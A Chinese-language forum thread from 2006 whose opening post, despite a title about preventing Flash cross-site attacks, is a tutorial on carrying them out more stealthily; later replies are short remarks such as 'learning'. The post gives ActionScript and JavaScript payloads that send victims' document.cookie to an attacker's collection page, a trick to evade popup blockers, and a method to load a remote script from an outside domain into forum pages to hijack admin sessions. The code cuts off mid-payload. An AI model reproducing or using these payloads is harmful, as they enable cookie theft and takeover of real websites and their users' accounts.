<address id="thnfp"></address>

    <address id="thnfp"><th id="thnfp"><progress id="thnfp"></progress></th></address>
    <listing id="thnfp"><nobr id="thnfp"><meter id="thnfp"></meter></nobr></listing>
    dvbbs
    收藏本頁
    聯系我們
    論壇幫助
    dvbbs

    >> 電腦專業知識交流
    搜一搜更多此類問題 
    安易免費財務軟件交流論壇專業知識交流電腦知識交流 → [轉帖]如何防止Flash跨站攻擊彈出IE窗口

    您是本帖的第 1102 個閱讀者
    樹形 打印
    標題:
    [轉帖]如何防止Flash跨站攻擊彈出IE窗口
    haozi
    帥哥喲,離線,有人找我嗎?
    等級:論壇游民
    文章:160
    積分:1120
    注冊:2006年9月19日
    樓主
      點擊這里發送電子郵件給haozi

    發貼心情
    [轉帖]如何防止Flash跨站攻擊彈出IE窗口
    這些天來好像Flash跨站攻擊鬧的挺兇的,但在實施Flash跨站攻擊時的那個彈出的IE窗口很容易引起別人的懷疑,而使得Flash跨站攻擊失敗,這的確讓人多少有點頭疼,大家是不是也一直在尋找實施Flash跨站攻擊時不彈出IE窗口的方法來隱藏自己的攻擊行為呢?下面大家和我一起來解決這個不大不小的問題,讓Flash跨站攻擊更完美吧!

      一般來說大家在進行Flash跨站攻擊時都是自己做一個Flash動畫,并在第一幀中加入用于跳轉到其他URL的AtionScript腳本函數,如下:

      getURL("JavaScript:window.open('http://用于收集Cookie的網頁地址?'+document.cookie)","_self")

      然后把這個Flash動畫置于論壇中的簽名、貼子或短信消息中,用來獲得管理員或用戶的Cookie,從而得到管理權限,進一步伺機控制整個站點,最終達到自己的目的。我們可以看到在整個跨站攻擊中最重要的就是這個AtionScript腳本啦!也就是這個腳本中用到的代碼打開了一個我們又愛又恨的窗口,所以我們也只能從改造這個腳本代碼來實現隱藏或者是去掉彈出的IE窗口,除此外別無它法!

      我們先分析一下上面的AtionScript腳本,它使用AtionScript腳本函數"getURL"跳轉到一個使用JavaScript協議的URL(JavaScript協議后面就是我們非常熟悉的JavaScript腳本代碼),在JavaScript中使用document.cookie的到Cookie,并把Cookie和一個用于收集Cookie的網頁地址連成一個http協議的URL地址,最后使用window.open打開合成的URL地址,從而把Cookie用GET方式發送到用于收集Cookie的網頁,并記錄下來。

      通過上面的分析我們進一步了解那個彈出的IE窗口是由于JavaScript協議中的代碼window.open所生成的,相信大家都知道window.open的第二個參數用來指定打開的窗口的名字,其通用名稱有"_media (IE6.0 在瀏覽器左邊的媒體面板內打開)"、"_blank (在新窗口中打開)"、"_parent (在當前框架的父框架內打開。假如當前框架無父框架,此參數值等同于 _self)"、"_search (IE5.0 在瀏覽器左邊的搜索面板內打開)"、"_self(在當前窗口中打開,覆蓋當前文檔)"、"_top (在所有框架之外的最頂層窗口中打開 。假如當前窗口無框架結構,此參數值等同于 _self )"等幾種,如果我們以"_search"來打開窗口,不是就沒有了彈出的IE窗口了嗎?AtionScript腳本改為:

      getURL("JavaScript:window.open('http://用于收集Cookie的網頁地址?'+document.cookie,'_search')","_self")

      當然,這樣做會打開搜索面板,也會引起懷疑,但卻可以躲過那些關閉彈出窗口軟件的追殺!姑且也算一種方法吧!

      如果僅僅是上面所說的,相信不少讀者要把我。。。。。。

      看到這里聰明的你是不是想到了點解決的思路?對!既然支持JavaScript啦,還有啥東東會不能解決呢?JavaScript真的是好處多多呀!

      如果你曾看了我的那篇"打造一個完美的IE網頁木馬"的文章,并且你對其中的代碼深深理解的話,你可以自己先去想象一下啦!呵呵......

      在那篇文章中有下面這樣一段代碼:

      jsurl="http://www.godog.y365.com/wodemuma/icyfox.js".replace(/\//g,'//');

      window.open("file:javascript:document.all.tags('SCRIPT')[0].src='"+jsurl+"';eval();","icyfoxlovelace");

      使用了javascript協議把自己網站上的一個js代碼文件插入到了本地文件中,同樣的道理我們也可以用它把一個js代碼文件插入到進行跨站攻擊的論壇網頁中,相應的AtionScript腳本改為:

      getURL("JavaScript:document.all.tags('SCRIPT')[0].src='http:\/\/www.godog.y365.com\/wodemuma\/icyfox.js';eval();","_self")

      其中icyfox.js得內容如下:

      cookieurl="http://用于收集Cookie的網頁地址?cookie="+escape(document.cookie);

      /*這里使用了escape()對cookie編碼,用來防止cookie中的一些特殊字符*/

      document.body.insertAdjacentHTML('beforeEnd','


    -
      -------------
    ┊┊┊┊┊┊???┊┊┊┊┊┊
    ◎┊┊┊◎┊  ●  ◎┊┊┊◎┊
      ┊◎┊  ◎ /█\   ┊◎◎  ◎
      ◎  ◎      ∏    ◎  天上掉餡餅了
    ip地址已設置保密
    2006/10/24 9:17:08
    chenyiii
    美女呀,離線,留言給我吧!
    等級:論壇游俠
    文章:252
    積分:1535
    注冊:2006年10月5日
    2
      點擊這里發送電子郵件給chenyiii

    發貼心情
    學習
    ip地址已設置保密
    2006/10/31 21:59:33
    zhouyp
    帥哥喲,離線,有人找我嗎?
    等級:論壇游民
    文章:131
    積分:777
    注冊:2006年9月27日
    3
      點擊這里發送電子郵件給zhouyp

    發貼心情
    學習
    ip地址已設置保密
    2006/11/3 10:43:36
    海闊天空
    帥哥喲,離線,有人找我嗎?
    等級:論壇游民
    文章:103
    積分:690
    注冊:2006年11月9日
    4
      點擊這里發送電子郵件給海闊天空

    發貼心情
    好像有點復雜
    ip地址已設置保密
    2006/11/9 15:41:51
    aaapeter2006
    帥哥喲,離線,有人找我嗎?
    等級:論壇游俠
    文章:209
    積分:1180
    注冊:2006年12月23日
    5
      點擊這里發送電子郵件給aaapeter2006

    發貼心情

    了解

    ip地址已設置保密
    2006/12/24 9:40:24
    懿切瀡緣
    帥哥喲,離線,有人找我嗎?
    等級:俠之大者
    文章:559
    積分:2860
    注冊:2007年8月14日
    6
      點擊這里發送電子郵件給懿切瀡緣

    發貼心情
    學習
    ip地址已設置保密
    2007/9/5 15:56:51
    sgljx
    帥哥喲,離線,有人找我嗎?
    等級:論壇游俠
    文章:210
    積分:1085
    注冊:2007年7月20日
    7
      點擊這里發送電子郵件給sgljx

    發貼心情
    有點難度
    ip地址已設置保密
    2007/9/9 9:00:05
    江海淼
    美女呀,離線,留言給我吧!
    等級:青蜂俠
    文章:1421
    積分:7025
    注冊:2007年8月7日
    8
      點擊這里發送電子郵件給江海淼

    發貼心情
    學習了.有點難.慢慢消化.
    ip地址已設置保密
    2007/9/9 13:43:34

     8   8   1/1頁      1    
    網上貿易 創造奇跡! 阿里巴巴 Alibaba
    北京安易天地軟件有限公司北方論壇
    聯系電話:010-51268244 13611231185 QQ:511102924
    Powered By Dvbbs Version 7.1.0 Sp1
    頁面執行時間 01.98438 秒, 5 次數據查詢
    Channel